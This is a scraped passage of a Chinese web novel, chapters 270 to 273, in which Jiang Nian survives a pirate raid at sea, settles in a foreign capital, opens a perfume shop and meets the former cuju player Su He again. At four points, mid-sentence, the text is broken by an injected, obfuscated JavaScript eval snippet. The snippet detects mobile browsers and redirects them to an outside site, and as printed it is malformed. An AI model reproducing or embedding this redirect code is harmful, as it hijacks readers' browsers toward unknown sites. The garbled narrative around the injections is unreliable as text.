前面两人一脸横肉,不怀好意地笑着,而落后他二人一步的第三人,修长身并不壮硕,眼尾稍稍向上,嘴角挂起,无声地笑着。 江念睛目不转地看着第三人。 其中一人见此,戏谑道:“阿和,这美妇人把你看着,你这是入了她的眼呐。” 又一人说道:“我之间说什么来着,妇人们就喜欢他这副皮囊,那咱们就成人之美,中间的这个归你了,另两个咱哥俩分。” 二人一递一声地说着,第三人终是开口道:“我还真就看中中间那个,谁也别跟我抢。” 外面的**仍在继续,这么长时间了,没有平息,反而越来越烈。 江念眼神复杂地盯着第三人,这人她认识,正是当初蹴鞠社朱雀队的队长,苏和。 白日那一晃而过的人影也是他。 这个人为何在这里,怎么会出现在梁国的海船上,而且还成了海贼,这些疑惑在脑中快速闪过。 三人朝她们走来,就在离她们几步远时,前面的二人突然顿住脚,僵在那里,身子晃了晃,先后颓然倒地,在地板上砸出“轰”的一声。 江念三人迎光看去,发现这二人的后颈处分别插着刀,刀身入肉,直没刀柄。 这一转变叫三人有些反应不过来。 “还发怔,拿些银两出来。”苏和说道。 江念看清眼下境况,按他说的,拿出一个包袱,这里面装着银两,递给他:“银子在里面。” 苏和接过,问道:“所有的钱财都在这儿?”说着摇了摇那包裹。 江念迟疑了一会儿,这转瞬即逝的迟疑被苏和捕捉到,笑了一声:“倒是不蠢。” 说罢,转身走到过道上,往另一边走去,大声喊道:“这是那房里搜出来的。” “那房里是什么人?只这么一点,要不再去搜搜。”过道另一头传来人声。 三层的动静渐息,江念可以很清楚地听到对话。 紧接着就听到苏和的声音:“我已搜遍了,再没什么,那房里住着个会拳脚的,老八、老九死在他手里,我趁他不注意,反杀了。” 正说着,下面响起尖厉的哨声,接着就是“咚咚咚”纷杂的下楼声,好像所有的脚步声集到一处。 过了一会儿,周围彻底安静了,江念慢慢起身,云娘拉住她,摇了摇头。 江念拍了拍她的手,示意无事,然后蹑着脚步,缓缓移到门影里,往下探看,从她这个角度是看不见甲板上的情形。 不过正巧让她看见大船附近浮荡着几艘小船,那些海贼正攀着索子下到小船里。 江念默默地看着,眼睛又落到两名护卫的尸体上,再沿着过道看去,地上躺了许多人,这些海贼下手歹毒,不知船上是否还有活口。 再次抬眼,海贼俱攀着索子转到小船内,又是一声呼哨,小船离了大海船,往黑夜中行去,直到消失。 哪怕再也看不见那些贼船,江念仍不敢动,约莫又过了半炷香的工夫,才敢走出屋室往外探看,满地的尸体。 在看到眼前的惨状后,血腥气更加浓烈。 此时,云娘和秋水也执着灯盏来到身边,被眼前的情形吓住了。 “造孽哟!”云娘低声道。 江念执着灯盏走出门外,还是抱着一丝希望,颤着手在两名护卫的鼻下探了探,已没了气息。 “咱们下去寻一寻,看看有无活口,若只咱们三人,最后还是个死。”江念说道。 云娘和秋水明白江念的意思,这是在海上,而且只行了一半,一来她们不会驾船,二来她们辨识不了方向。 若没有船工,她们的结局就是等死,最后和这艘海船飘荡在海中,永远无法靠岸。 江念三人执着灯盏,避开脚下的尸体,往楼下行去,楼道灯碗的光烛明明灭灭,整个大船,除了她们发出的脚步声,还有阶缝微微的吱呀声,四围寂得可怕。 终于,三人下到甲板上,海风咸腥,吹到脸上黏黏的。 江念一手捉裙,一手执烛,准备往舵舱看看,走着走着发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15856746|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现身后有一串脚步随着自己,以为是秋水或是云娘。 结果发现她二人都在她视线内,那她身后的脚步声又是怎么回事?难道海贼还没走?! 这么想着,脚步僵顿住,不敢再往前走,在她停下脚步时,身后的那个脚步也停了。 江念缓缓扭头朝后看去,发现立在身后之人正是离去不久的苏和。 “你不是……同那些海贼一伙,怎么还留在船上。” 苏和一步一步走了过来,走到江念面前,稍稍压近,低声道:“我和他们不一样……他们劫财,我劫色。” 江念脸上一白,不待她有下一步反应,苏和往后退了两步:“你这阿姑,真是禁不起一点玩笑,脸色吓成了纸。” 江念暗暗松下一口气:“你怎么同这些人在一起?” 虽是一句简单的问话,可这话的意思,苏和听懂了,他是夷越人,那些海贼是梁人,他一个夷越人为何会出现在这艘从梁境开往大夏的船上,还和海贼绞在了一起。 每一条挑出来都不可思议。 苏和扫了一眼周围,脸色有些冷淡:“你要现在谈这些?” 江念看着甲板上的尸体,说道:“去舵舱看看罢,不知还有没有幸存的船工。” 苏和点了点头,两人往舵舱行去,云娘和秋水则查看甲板上有无幸存之人。 舵舱并不大,四四方方一片区,本该掌舵的地方空着。 江念看了一眼周围,地面倒着几个船工,本来抱有一颗希望的心一凉再凉。 苏和绕着舵舱走了一圈,发现脚下有一块板发出的声音不一样,于是蹲下身子,用手拍了拍。 “像是空的。”江念也走了过来。 苏和“嗯”了一声,从靴筒中抽出**,沿着板缝撬动,一块板被撬起,才一撬开,就传来哆嗦地讨饶之声。 “莫要杀我,莫要杀我,留我一条命……” “不杀你,快出来掌舵。”苏和说道。 那船工一抬头,见男人身边还有一女子,比看见两个男人强:“你们不是海贼?” 江念说道:“我们是船客,舵公,你快出来罢。” 掌舵的男子在两人面上来回看了一会儿,这才哆嗦地爬到船板上。 原来这舵公常在海上走,给自己留了一手,开了一方庇身的暗隔。 云娘和秋水寻到一些活下来的人,有些受了重伤,有些受了轻伤。 这一夜注定是个难眠之夜,直到天快亮时,还能听到伤患的痛苦吟哟声。 船上的货仓里囤积的有草药,云娘从前在王庭的司药局当过值,简单的包扎难不倒她,一整晚,江念、秋水还有其他轻伤的船客们忙活着,给那些重伤之人敷药包扎。 次日天明,众人清理出死者,能记下名字的全都记录在册,准备上岸后报于官府。 因船在海上还有下半程要走,尸体不能存放,众人只能将死者投了海。 好好的一船人,最后只活下来一小半。 接下来的行程,江念得知了苏和的遭遇,为何他一个夷越人会变成匪,还出现在大梁的海船上…… 第270章 小衫是小阿郎的吗? 苏和本是孤儿,逃难到京都,没了父母,最后流落街头与狗争食。 后来被蹴鞠社的东家看中,让他进了蹴鞠队,赏他一口饭吃,他自己也争气,渐渐闯出名堂,成了朱雀队的队长,而朱雀队更是蹴鞠界的常胜将军。 多年下来,他靠踢蹴鞠赚了不少钱资,衣食几辈子享用不完。 他深知急流勇退的道理,钱他已有了,名他亦有了,可闲度余生。 然而,在他告诉东家隐退的意思后,东家提出请求,让他踢假球,他当然不愿意,一旦踢了假球,好不容易挣来的名声,便毁于一旦。 可东家以恩要挟,他只得应下了。 那一场球,东家赚了,他也赚了,却让很多人输得倾家荡产。 最后定胜负的一球是他的队友,河图传给他的。 他没有接住,故意迟疑了,让青龙队的人抢了球,而他对面的河图,因抢球时破了额,血流了满脸,闭着一只被血糊住的眼,用一只眼睁睁地看着他。 死死地看着他。 在所有人欢呼、咒骂之时,他如同石像一样,僵在那里。 后来,他再没见过他,听人说,那一场蹴鞠赛,河图压下了所有家当,赌自己队会赢。 结果他输了所有,妻子也同别人跑了,再后来,有传他投河了。 直到有一夜,他睡得正熟,闻到一股呛人的烟味,睁眼一看,窗外火光通亮,还有下人的呼救声。 “着火了——” “救不了,救不了,快走!” 苏和来不及穿衣,趿着鞋子跑到外面,只见宅子里火光冲天,热浪往人脸上扑。 突然意识到什么,回身往另一个方向跑去,前面跑来一群人拦住他。 “大爷,不能往里去,那里面烧得最厉害,去了可就出不来了。” 苏和死死看着那个方向,那里面是他的库房,所有值钱物件都存在那边。 他立在院外,看着自己辛辛苦苦挣来的身家,在这火光中付之一炬,恍惚中,似是看到一个人,那个身形很熟悉,不过很快被大火吞噬,火舌越发蹿得高了,往上舔着、卷着。 一夜,只需一夜,他没了所有。 因他名声已败,想要再靠蹴鞠在夷越谋生已是不可能,而隔壁的大梁同夷越势如水火,更加不行,于是只能往外海寻找机会,听说大梁背面有个大夏国,他想去那里试一试。 这才想着从大梁的港口乘船渡海。 偏不巧,碰到一伙匪贼,他本就是三教九流之人,深知碰上这类人,在拼不过的情况下,不可硬碰硬,于是展露一些拳脚,假意拜服他们。 这些海贼巴不得人越多越好,势力才能越大,可到分赃时,却又希望人越少越好,恨不得自己独吞。 这便是苏和同匪贼绞在一起的原因,后因他离开了京都,也没经历封城那一场**。 换而言之,苏和并不知道江念的身份。 船在海上行了十多日,终于到了就近的港口,船客们劫后余生,纷纷下了船,舵工拿着名册去了当地官府。 江念三人立于港口边,看着人来人往,伴着长长短短的吆喝,还有尖利的喊叫,再加上不时有人经过撞她们一下,乱哄哄的,嘈杂不宁。 这时从后响起一个声音:“你们三个女子,之后如何打算?” 江念回头见是苏和,因他出手救过自己,心里很是感激。 “找个地方休整两日,再做打算。” 苏和点头道:“我呢,只是给你们一个建议,这里属于港口城……”正说着,男人伸手拦在江念身侧,隔出一段距离,阻下刚才经过之人的碰撞。 “去那边说罢,这里人太杂。”苏和指向另一面。 于是四人避走到人少处。 “这里是港口城,人多且杂,并不适合你们三个女子住,就是老爷们且得当心,你若身上银两充足,我的建议是,不如三位阿姑……娘子,直接去大夏国的都城,一个国家的都城肯定是最安全的,而且对女子也会友善些。” 江念倒真是感谢他的这番话,她自己也确实有这个想法,只是出于警惕,不打算向外吐露行踪。 她刚才看了,这里的女子抛头露脸的不在少数,都是愁生计的平民女子,权贵人家的女子出门在外仍以帷帽遮面,且有亲随环护。 她们三人下船时就换了农妇装扮,尤其是她,脸上还擦了泥膏,这些泥膏,其实是云娘制得药泥,她暂且拿来一用,不过是药三分毒,肯定不能久糊于面上。 “多谢苏郎君提醒。”江念想了想,问道,“不知郎君去不去京都,若是去的话,可同路而行。” “我是要去,只是现下还不能动身,怕是不能同行了。”苏和说着。 相伴一路,彼此间已熟知姓名,不过江念对外不用全名,只用阿念自称。 “郎君于我们有救命之恩,不知该如何报答?”江念说道,这次幸有他出手。 “要不……你以身相许?”苏和戏谑道,随后又玩笑似的摆手,“玩笑,玩笑,哪日我需要救命,你再救我,不就还回来了?” 江念三人听后,噗嗤笑出声,这人真有意思。 苏和不再多说,抱拳辞了去。 江念看着他的背影,觉得同上次在酒楼碰见时有些不同,那个时候,他还戏说着轻浮的话,这次再见虽也有些不着调,却端正许多,不知是不是遭遇变故的原因。 “妹子,咱们接下来怎么办?”云娘问道。 江念看着来往穿行的人群,说道:“去大夏国的都城。” “不歇两日?” “不歇,尽快赶往大夏都城。” 出门在外,云娘和秋水二人皆以江念为首,三人离开港口,寻了一家大的车马店,付了一半车金,同店家商议妥当,安排了车夫,送她们往京都行去。 从港口城到京都,又是一路风尘,好在安全抵达,江念把剩下的车金付了,那车夫接过,道了谢,赶着车马离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865539|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “云姐姐,咱们先找个客栈歇下,也好商议接下来的安排。” 云娘点了点头,说道:“这一路尽花你的钱,不如找个便宜点的脚店?” “无事,身上的银两虽不算多,暂且够用,虽是大都城,咱们还得当心些,脚店不安全得住大些的客栈,这个钱不能省,至于之后的生计,等有了住处再想办法。” 当下说定,三人揽着包袱往正街走去,边走边观这大夏国的风土人情。 街两边摆着小摊,街中不时行过香车,亦有马匹单独缓行,通常就是一名豪奴在前牵马,马背上坐一锦衣男子,或是坐一华服帷帽的女子,虽是戴着帷帽,只是帽檐的轻纱打起,把脸儿露出来,并不遮掩。 更有不遮面的女子,面施胭脂,头戴珠翠,高扬地坐于马背上,马周随着几个丽婢。 街道上人烟繁盛,热闹不已。 三人行到一家客栈前,先是往里探看一眼,临街的大窗下,几张方桌坐满了客人,生意很好,店里环境看着也干净,于是三人走了进去。 店伙计迎了来:“客人们是吃饭还是住店?” 江念说道:“开两间上房,饭菜送到房里,另外送些热水。” 店伙计应下,把三人引上楼,安住下,然后下楼让人备菜、备水。 两间房,云娘一间,秋水和江念一间,那海船上淡水本就稀缺,后来又闹贼,差点送命。 一路上没睡过一个好觉,也没洗过一个澡,头身早已污黏,出门在外,又不敢松懈,三人早已疲惫不堪。 好在饭茶来得很快,吃罢后,云娘去了自己房中。 不一会儿,热水也来了。 江念在秋水的伺候下沐过身,然后让她进屋沐洗,她不敢僭越,去了云娘的屋子,待净过身才回这边。 进屋时,正巧撞见江念坐在榻边,出神地看着手里的小衣。 “小衫是小阿郎的吗?”秋水走到榻边坐下,轻声问道。 她已知晓了一些,她家娘子嫁了人,嫁的人是从前那位夷越小质子,还为他诞下子嗣。 江念嘴角含笑,点了点头,只有说起孩子时脸上才会有一丝柔柔的笑容。 “小阿郎叫什么?”秋水又问。 “朔儿。”江念想了想,说道,“我走的时候,会叫娘了。” 秋水怕引得江念伤心,不敢再问,因为她看见她抚小衫的指尖颤着,于是岔开话:“娘子,歇息罢。” 江念“嗯”了一声。 秋水打下帐幔,抱了铺盖歇于侧榻上。 天还没暗,三人已就寝,一直睡到次日清晨。 在江念三人漂洋过海到达大夏国都的同时,海的另一边,正是呼延吉攻下梁都不久,之后江轲伤愈,辞了呼延吉,往各地寻找阿姐,呼延吉亦派人四处搜寻。 然而,他们不知,江念早已不在那片境土,渡到了海外,这也是为何在接下来的一年,无论呼延吉怎样搜寻却没有她的半点消息…… 第271章 一头倒栽进去 次日一早,江念三人在客房内用朝食。 “云姐姐,我们日后就在大夏国安家了,总需一个落脚之处,今日出去相看相看房子,如何?” “你说的是,我这就吃好了。” 用**,江念让秋水守在屋里,她同云娘出了客栈,去了牙行。 牙人见是两名农妇打扮的女子,似是姐妹,问道:“二位娘子看房来了?” “是。” “是租赁还是买卖?” 江念先四下扫了一眼,说道:“生意不错呢!” 那牙人听后,笑道:“可不是,咱们大夏经济繁茂,民众安居,帝后贤德,正是太平好年岁,在咱们这里定居的,不止我大夏子民,还有周边的异族,像什么乌塔族,甚至还有外海来人。” 江念拿下巴指了指堂中一桌,那里坐着几个男女,褐发褐眼,衣着迥异,问道:“那几人是……” 牙人看去,回说道:“那几人就是乌塔族人。” 江念点了点头,心道,这些人看着同夷越人倒有些相似。 “小哥儿,我们不租赁,买房来的。” 牙人一听,引了江念等人到桌边坐下,让伙计看了茶点:“两位稍等,我拿张图样来。” 待牙人去后,云娘捧着茶杯说道:“也不知这里房价如何,妹子打算买个什么样的?” “够我们住就成,最好带一方院子。”江念说道。 云娘点了点头,还待再问,那牙人拿着几张卷纸来,往桌上展开。 “这是长康坊一爿,这里呢,离正街近,是京都城除了麟德大道以外,最好的街区,不过价位稍高。” 云娘好奇地问道:“那麟德大道呢?比这个长康坊还好?” 牙人听后,笑道:“二位不是咱们这里人罢。” 江念点了点头:“不错,我们打算到这里做点小生意,所以想先置办房子,小哥儿莫要欺我们外地人就胡乱要价。” “看这位娘子说的,那不能,到我们这里置房的不止你们,许多他乡来客都是一样,不敢有二价。”牙人转而说道,“麟德大道自然比长康坊更好,不过那里的住宅不是有钱就能买到的。” 说到这里,江念二人也就懂了。 “小哥儿,咱们是这样,只要小宅子,不需要太大,最好带一方小院,周边安全为首要,若是离正街近些就更好。” 牙人拿出另一张图,铺开,指向一处:“那就东市的长福坊,这里有几户空置着,二位若是现下有空当,我带你们看看去。” 于是,牙人带着江念二人赶去了长福坊,看了一圈,当下就定了一户,交了一半的房金。 等到一切手续办理妥当,拟了房契,于府衙备过案,把剩下的房金也交了。 江念清楚自己以后要在这里安家,所以她没多作犹豫,而眼前这座都城,看着不错,况且,她们出门在外也没多的路可选。 对于以后的路,她已有了计划,只是需得先有落脚的地方,才好谈以后,所以看房,买房,落契,一气呵成,半点不拖泥带水。 三人看着眼前的小院,一路的疲惫在这一刻才算真正得到喘息。 院子里有灶房,屋里有三间房,两间用来住人,一间半室,可用来堆杂物。 “等咱们收拾好,就去街上置办器物。”江念说道。 云娘和秋水欢喜应下。 三人用盆打了水,开始在屋里和院中扫洒。 忙忙碌碌一直到午后,终是有了干净样子,三人从包袱里拿出几块干馍,就着凉水吃了,坐在院子里的矮凳上吹着风。 院子里有一棵石榴树,还不到结果的时候,可那绿色的枝叶看着却很喜人。 风一来,翻腾着,发出轻轻的沙沙声,阳光穿过叶隙,洒下来,落在三人汗津的脸上,闪着光亮。 “等到这树结了果,我给你们做石榴冰饮子。”云娘仰起头,嘴角笑着,两眼望着院中的石榴树。 江念同秋水也望了过去,三人看着这棵石榴树,看着它细窄的叶子,在阳光下油亮着,等着它结果的那一天。 歇息了一会儿,三人出了门,穿过长长的巷子,走到街上,来来**买齐了一应生活所需。 天色已暗,云娘到厨房烧了三个菜,秋水又去街上买了些甜酒,然后在院子里点了灯笼。 江念把她们才买回的四方桌支到院中,在桌边摆放竹椅。 饭菜端了上来,一碗蛋羹,一盘鲜蔬,一盘辣子炒肉,此时秋水也打了酒回。 筷箸摆好,三人便用起饭来。 菜虽简单,却很可口,云娘烧饭的手艺不错。这是她们在新家的第一顿饭。 “妹子,把这房置了,咱们的余钱可不多了。”云娘说道。 江念拈了一筷箸菜,说道:“还有些,明日我打算找间铺面。” “找铺面?” “是,我会制香,所以打算开一间香铺,售卖香膏、香脂还有香粉之类。” 云娘拊掌道:“哎哟!倒还真是,差点忘了你还会这个手艺哩!” 秋水听说,问道:“娘子几时会制香了?” “你家娘子这些年可没闲着,在夷越学得一门手艺。”云娘又道,“不是我说,夷越的制香技艺是出了名的,香气种类繁多,以前呐,大梁的香料还要从夷越运,估摸这大夏国的调香技艺也不咋行。” 江念微笑道:“如今还只是一个打算,明日我到坊间走一走,探看一番,若是可以,趁早把铺面定下,身上虽有银钱,没有进账也不成。” 云娘和秋水听后,心中大定,一直以来担心的困境一下就没了。 “明日我也出去找个活计做,多少可以帮衬着。”云娘说着给江念和秋水各斟上一杯甜酒。 江念端起酒盏,啜了一口,说道:“云姐姐不如就到香铺来帮忙,何苦又去外面寻事情。” “不了,你才开的铺子,哪里用得上三个人,你就把水丫头带着,让她给你打下手,我嘛,会识药材,随便找个生药铺子,应是不难。”说罢,妇人把眼一弯,笑道,“等你那铺子做起来,我再去给你帮忙。” 江念点了点头:“这样也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865540|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。” 秋水在一边笑,云娘见了,笑道:“这丫头傻笑什么呢!” “只要跟娘子在一起,对我来说每天都开心。”秋水说道。 江念笑着摇了摇头:“开心就去多吃一碗饭。” “那我给娘子和云娘也带一碗。”说着拿起她二人面前的碗,去了灶房。 用**后,秋水收了碗筷,江念同云娘在院中坐着,说着闲话。 闲谈时,云娘的眼落在江念面上,她是亲眼看着她如何陷入绝望,濒临崩溃,如今好不容易平复下来。 看着江念静柔的侧颜,她庆幸自己没有向夷越王传报江念的行踪。 等时日一长,曾经的那些伤痛就会慢慢淡去,那些伤害她的人也会在时光中渐渐淡忘。 她完全可以开始一段新的生活。 “云姐姐?”江念见云娘发怔,叫了她一声,见她没反应又唤了一声,“云姐姐?” “啊?”云娘回过神,“你刚才说什么,我在想别的事情。” 江念说道:“我问你那屋子还少不少什么?” “不少,都有了。”云娘说道,然后低下头,再抬起,“妹子,你……” 她其实想问她想不想孩子,也是没话找话,却又生生止住了,怎么可能不想,那个时候她也在王庭当值,知道江念为这个孩子差点把命都丢了。 那真是把孩子看得比心肝肉还心肝肉。 猛然间,就会生出一个念头,他二人有孩子了,这孩子就像一根系带,剪不断的。 她听秋水说,江念独自个儿时,就会拿出孩子的小小衫发呆。 可又一个声音告诉她,夷越王连江家小郎君都杀了,那可是江念的娘家人,是她在这个世上唯一的亲人。 如今她们好不易逃到海外的大夏国,夷越王应当不会找到这里来。 江念见云娘脸色古怪,先是发怔,叫她不应,然后说话也只说一半。 “云姐姐,你想说什么?” 云娘提起精神,笑道:“没什么,我正要说天色暗了回屋里。” “云姐姐先进屋,我再坐会儿。” 云娘起身,回了自己的屋子。 江念仍坐于院中,靠在椅背上,微仰着脸看着天上明明暗暗的星,秋水便坐在台阶上支着下颌,也看着天。 次日,秋水留守院子,江念同云娘轻简装扮出了院门,各自行事。 江念转了半日,各条街坊大概问了价,她从前是个银子不过手之人,对钱没什么概念,这会儿却不得不精打细算起来。 租下好的铺面要百来贯,次些的要大几十贯,可她开的是香铺,做的就是仕宦显贵人家的生意,铺面就是脸面,那些人家最看重场面,她若把店铺位置选偏了,生意指定难做起来。 一咬牙,江念重新回到正大街,想要定下先前看中的一间大铺面。 她果然不是个精打细算之人,有好的绝不选次的,有贵的绝不挑便宜的。 选男人也是一样,本以为选了个最贵最精美的,谁知她一头倒栽进去,把心震了个粉碎…… 第272章 他乡遇旧友 铺面的屋主是个四十来岁微胖男子,一身绸面服,头戴小方帽,面净无须,见了江念,笑着把她迎进屋。 “如何,娘子看了一圈,可是在下这间铺子最合你意?” 江念先是看过这间屋子,想要压压价:“你这租赁钱有些贵了,可否再便宜些?” 屋主见江念是个貌美的妇人,这才愿多说,他这房子本是准备挂到牙行,让牙人代管,也是巧,他才挂出租赁木牌,这位美妇人就寻了来。 这铺子位于正街,地段好,根本不愁租,又怎容人还价。 “我这铺子是两间打通的,地方大,上面还有一层,而且这个钱我也没要多,贵也有贵的道理,你做香料生意,这左右是做脂粉和首饰的,也衬你这香料不是?” 江念盯着房主的脸,那团团的白脸上,一张尖尖的嘴,怎么这样能说呢? 正巧这时,店里又来了一对夫妇,店主迎了上去。 这对夫妇也在相看店铺,听那话里的意思,像是要定下来,不过他们说再转看一番,趁着这个空当,江念不再犹豫,交钱,落契,把铺面定下。 房主收了金,嘱咐了几句,离开了。 江念掇了一张凳子,坐在店中,心疼自己又花了许多钱。 这间店铺内部很敞亮,也很宽大,确实如屋主所说,是两间铺子打通的。 江念在一楼转看一圈很满意,又上到二楼,倒也干净,应是被屋主请人收拾过,另隔出了一间杂物间。 一切看下来都很满意,接下来就是准备店中所需的器物和制香原料了。 从这里回长福坊虽不太远,却也不近,江念闭上店门,往回走。 她前一脚回院子,后一脚,云娘也回了。 各自说着今日的情况,云娘找了个药材铺当女伙计,先时人家见她一妇人还不愿意收,后来见她能辨识药物,行止爽利,就让她做几日试试看。 不管怎么说,也是好消息。 接下来的几日,江念便带着秋水采买店中所需。 这一忙,常常忙到天黑才回长福坊,回去后,云娘已做好了饭菜,摆在院中,还细心地在上面罩上纱,等她们回了再一齐用饭。 这日,江念在木匠铺子订的几个柜架要送来,她另花钱让木匠请几个役夫,帮忙搬运。 忙忙碌碌一个多月,待这几个柜子一到,也就差不多齐了。 “我去二楼,你在这里守着,有什么事叫我。”江念说道。 “嗳。”秋水应下。 江念刚上到二楼,楼下有人叫喊:“柜架到了——” 秋水在里面应了一声:“劳各位搬进来。” 接着听她在那里指挥。 “当心着些,抬高些呀!别把地板碰坏了……” “哎哟,你这伙计,仔细了,店里的东西经不住磕碰,碰坏了要你们赔的。” “这个,摆这里,对,对,摆这里……” 江念听她在下面忙着,从楼阶往下去,一面走一面向下看着柜架搬运。 只见那些使力的役夫两人一扛,或是三人一抬,往里运着,这时,又运进一个柜子,江念往外看了看,板车已经空了,这是最后一个大柜。 大柜由一人背进来,那柜子光看一眼就能感受到它的沉重,比前面几个柜架笨重许多,用来铺展成品香料。 大柜将搬运之人压得完全看不见,像是一个木柜下面长了两条人腿。 那人走得很慢,任谁都看出来他运得很吃力,却没有一人上前帮他,前面几个役夫放下柜架,就立在旁边笑看着,甚至有个人,故意拿肘撞了一下柜边,让其失衡。 **念逮了个正着:“你不帮他就算了,当我没看见?这柜子要是因你破损,你的工钱别想拿,不仅没钱拿,还得赔付我折损费。” 那使坏之人讪笑道:“东家错看了,刚才不小心撞的。” 江念也不同他争辩,说道:“既然是不小心撞的,那你上前帮他把柜子运下来,仔细了,不得有磕碰。” 那人不得已,看向旁边另外两人,说道:“快,快,过来搭把手。” 于是三人围在一起,攒着力道,将柜子从那人背上一点点挪下,再格外当心地放到地面。 江念点了点头,正要秋水付工钱,却注意到搬运大柜之人正转身往外走去。 “诶——留步。”江念走到楼阶,说道,“伙计,你的工钱不要了?” 说话间,看向那人,灰布包着头,背上身衫湿皱着,稀薄的料子多处被擦破,**着边,腰有些躬,应是刚才背了太重的物,一时间无法打直。 这背影看着有些眼熟。 “苏和?”江念试着叫了一声。 那身形明显一震,然后转过身,江念凝目看去,微深的肤色,挺直的鼻,细窄的眼褶,真是他。 “你……”她见他这样,又怕自己说错话。 男人咧嘴一笑,故作轻松地说道:“又见面了。” 江念让秋水给其他几人付了工钱,打发了,留下苏和。 “你怎么做起这个来?不是说进蹴鞠社吗?” 江念发现这人让她有太多意料不到,上次他是水贼,这次他又成了使力的役夫,次次有惊怪,次次不一样。 苏和拉了拉自己的衣领,身上汗得厉害,说道:“可否先让我饮一杯水?” 江念光顾着问,忙把他迎坐下,让秋水看了茶。 苏和端起盏,仰起头,咕噜几声,喝了个干净。 “续上。”江念说道。 秋水将茶盏又续满。 苏和点头谢过,这才开口:“这里的蹴鞠社不好进,要有推荐信才可,我问过了,他们眼下人够了,而且……大多蹴鞠社更愿接纳孩子,一点一点博个名声出来。” 他便是这么走过来的,儿时他有过一次机遇,可人这一辈子又能有多少这样的机遇。 那日,他从船上下来,身上盘缠不够,便在港口城待了一段时日,赚些口粮,之后才启行往京都。 江念见他衣衫粗旧,额上还流着汗,于是张了张嘴,想说什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15873168|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不想苏和先一步开口道:“好了,谢你的茶,我该回去了。” “留步,苏郎君。” 苏和笑了笑:“当不得这般客气的称呼,叫我阿和。” 江念点问道:“你可有住处?” 再怎么说,这人救过她们三人的性命,如今他落得这步田地,瞧着有些不忍。 苏和先是一怔,没说话。 江念见他面上闪过困窘,说道:“我这铺子的二楼有个杂间,你要是不嫌弃可先暂住。” 苏和看了江念一眼,没说什么,转头离开了,看上去有些狼狈。 “娘子,他怎么这样,你给他地方住,应不应的倒是给句话,就这么不声不气地走了。”秋水说道。 江念笑了一下,没有说什么。 待到傍晚,香铺正准备闭门时,苏和来了,脸上有些红,听他低声说了句:“我来借宿。”后面又加了句,“夜里给你守店。” 江念指了指楼梯:“就在那上面。” 男人“嗯”着应了。 “明日你出门应比我们早,离开时把门闭好就成。”江念说道。 “好。” 江念想了想,店里也没什么值钱的东西,好像也没什么可交代的,遂带着秋水离开了。 天稍暗时,苏和躺在杂物间的地板上,双臂枕在脑后,睁着眼,看着屋顶,旁边堆着一些老旧的桌椅,还有一些扯坏的布卷。 心里想着接下来他要怎么办。 下力的活计虽然苦,工钱却丰厚,他得先赚些钱在手里,蹴鞠社还得想办法进。 正想着,一串“咕噜声”从腹中响起。 脑子里又闪过那女子的影,第一次见她是在蹴鞠社,后来也是巧,又在酒楼碰到了她。 错身而过之际,他大着胆子问了她一句,输了多少银子?问完就后悔,这不是哪壶不开提哪壶嘛。 谁知她说她没输,反倒赢了。 他想再多说几句,却也看出她不喜自己,不愿同自己多说而匆匆离去。 再后来,他家就遭了难,现在想来,那日他看到大火中的人影应当就是河图,他把最后一球传给自己,可他却故意迟疑,让青龙队抢了球。 算是报应罢,他踢假球,害了别人,最后自己也落得个一无所有。 海船上遇到她,在他的意料之外,那日在甲板上他看见了她,虽戴着帷帽,可他一眼就认了出来,竟有种他乡遇旧友之感。 后来他有意和那两人上到三楼,救了她一命。 他记得在夷越时,她一身名贵长纱衫,乌柔的发辫用宝珠束着,是个精心打扮的贵人,怎么这会儿却布衣荆钗,把十分的美貌掩去几分。 想到这里,男人自嘲地发出一声笑,他还有心奇怪别人,也不看看自己如今的潦倒样,人家好歹还有个铺面,他可是连吃住都成问题。 胡思乱想间睡了过去。 次日,江念来到铺子时,苏和已经离开。 从这日开始,她要把铺子开起来,做成大夏国最顶流的香料铺…… 第273章 难不成我跟你一样,也是出去卖的? 江念有天生的优势,她的嗅觉十分灵。 